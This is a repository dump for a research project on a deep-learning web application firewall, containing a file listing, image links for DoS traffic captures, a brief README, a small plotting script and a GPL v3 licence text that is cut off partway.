├── Captures ├── d df.jpg ├── g ttl.jpg ├── TTL 2012.png ├── gen rate.jpg ├── flow rate wsk.jpg ├── g frame length.jpg ├── Header length 2012.png ├── IP protocol 2012.jpg ├── gen dont fragment.jpg ├── gen other features.jpg ├── heade leght 2012.jpg ├── packet length generated.jpg └── packet flow on normal browsing .jpg ├── SnapshotsExperiment ├── traffic from hulk2.jpg ├── DVWA web application.jpg ├── DoS traffic from HULK1.jpg ├── sample burpsuite log.jpg ├── wireshark sample log.jpg ├── LOIC traffic capture in Wireshark.jpg ├── Traffic from Single LOIC instance.jpg ├── flow rate from single LOIC instance.jpg └── HTTP traffic capture in burp suite proxy.jpg ├── README.md ├── graph generation.py ├── LICENSE ├── sql injection payloads.txt └── LSTM-ModelDDoS.ipynb /Captures/d df.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/baburd/WAF/HEAD/Captures/d df.jpg -------------------------------------------------------------------------------- /Captures/g ttl.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/baburd/WAF/HEAD/Captures/g ttl.jpg -------------------------------------------------------------------------------- /Captures/TTL 2012.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/baburd/WAF/HEAD/Captures/TTL 2012.png -------------------------------------------------------------------------------- /Captures/gen rate.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/baburd/WAF/HEAD/Captures/gen rate.jpg -------------------------------------------------------------------------------- /Captures/flow rate wsk.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/baburd/WAF/HEAD/Captures/flow rate wsk.jpg -------------------------------------------------------------------------------- /Captures/g frame length.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/baburd/WAF/HEAD/Captures/g frame length.jpg -------------------------------------------------------------------------------- /Captures/Header length 2012.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/baburd/WAF/HEAD/Captures/Header length 2012.png -------------------------------------------------------------------------------- /Captures/IP protocol 2012.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/baburd/WAF/HEAD/Captures/IP protocol 2012.jpg -------------------------------------------------------------------------------- /Captures/gen dont fragment.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/baburd/WAF/HEAD/Captures/gen dont fragment.jpg -------------------------------------------------------------------------------- /Captures/gen other features.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/baburd/WAF/HEAD/Captures/gen other features.jpg -------------------------------------------------------------------------------- /Captures/heade leght 2012.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/baburd/WAF/HEAD/Captures/heade leght 2012.jpg -------------------------------------------------------------------------------- /Captures/packet length generated.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/baburd/WAF/HEAD/Captures/packet length generated.jpg -------------------------------------------------------------------------------- /SnapshotsExperiment/traffic from hulk2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/baburd/WAF/HEAD/SnapshotsExperiment/traffic from hulk2.jpg -------------------------------------------------------------------------------- /Captures/packet flow on normal browsing .jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/baburd/WAF/HEAD/Captures/packet flow on normal browsing .jpg -------------------------------------------------------------------------------- /SnapshotsExperiment/DVWA web application.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/baburd/WAF/HEAD/SnapshotsExperiment/DVWA web application.jpg -------------------------------------------------------------------------------- /SnapshotsExperiment/DoS traffic from HULK1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/baburd/WAF/HEAD/SnapshotsExperiment/DoS traffic from HULK1.jpg -------------------------------------------------------------------------------- /SnapshotsExperiment/sample burpsuite log.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/baburd/WAF/HEAD/SnapshotsExperiment/sample burpsuite log.jpg -------------------------------------------------------------------------------- /SnapshotsExperiment/wireshark sample log.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/baburd/WAF/HEAD/SnapshotsExperiment/wireshark sample log.jpg -------------------------------------------------------------------------------- /SnapshotsExperiment/LOIC traffic capture in Wireshark.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/baburd/WAF/HEAD/SnapshotsExperiment/LOIC traffic capture in Wireshark.jpg -------------------------------------------------------------------------------- /SnapshotsExperiment/Traffic from Single LOIC instance.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/baburd/WAF/HEAD/SnapshotsExperiment/Traffic from Single LOIC instance.jpg -------------------------------------------------------------------------------- /SnapshotsExperiment/flow rate from single LOIC instance.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/baburd/WAF/HEAD/SnapshotsExperiment/flow rate from single LOIC instance.jpg -------------------------------------------------------------------------------- /SnapshotsExperiment/HTTP traffic capture in burp suite proxy.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/baburd/WAF/HEAD/SnapshotsExperiment/HTTP traffic capture in burp suite proxy.jpg -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # WAF 2 | Web Applicaiton Firewall Implementation using Deep Learning 3 | All experiments are carried our by Bibek Adhikari and Dr. Babu R. Dawadi under the reserach grants project: CRG-078/79-Engg-01 4 | -------------------------------------------------------------------------------- /graph generation.py: -------------------------------------------------------------------------------- 1 | import numpy as np 2 | import matplotlib.pyplot as plt 3 | import pandas as pd 4 | df = pd.read_csv('C://Thesis/data thesis/combine data hulk generated.csv') 5 | 6 | y=df['Time delta from previous captured frame'] 7 | x=df['Dataset'] 8 | x1=x[:50000] 9 | y1=y[:50000] 10 | x2=x[50000:] 11 | y2=y[50000:] 12 | plt.bar(x1,y1, color='red') 13 | plt.bar(x2,y2, color='blue') 14 | plt.legend(labels=['Attaack', 'Normal']) 15 | plt.ylim(0,0.01) 16 | plt.title('Generated dataset') 17 | plt.ylabel('Time delta from previos capture') 18 | plt.xlabel('Dataset') 19 | plt.show() 20 | 21 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it 